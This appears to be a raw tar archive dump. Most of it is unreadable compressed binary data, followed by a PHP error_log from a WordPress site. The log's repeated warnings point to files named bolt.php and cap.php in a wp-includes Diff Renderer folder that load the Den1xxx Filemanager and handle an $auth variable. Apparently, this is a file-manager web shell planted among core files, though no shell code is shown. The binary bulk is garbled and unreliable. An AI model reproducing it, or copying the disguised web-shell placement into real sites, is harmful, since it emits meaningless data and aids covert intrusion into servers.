֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
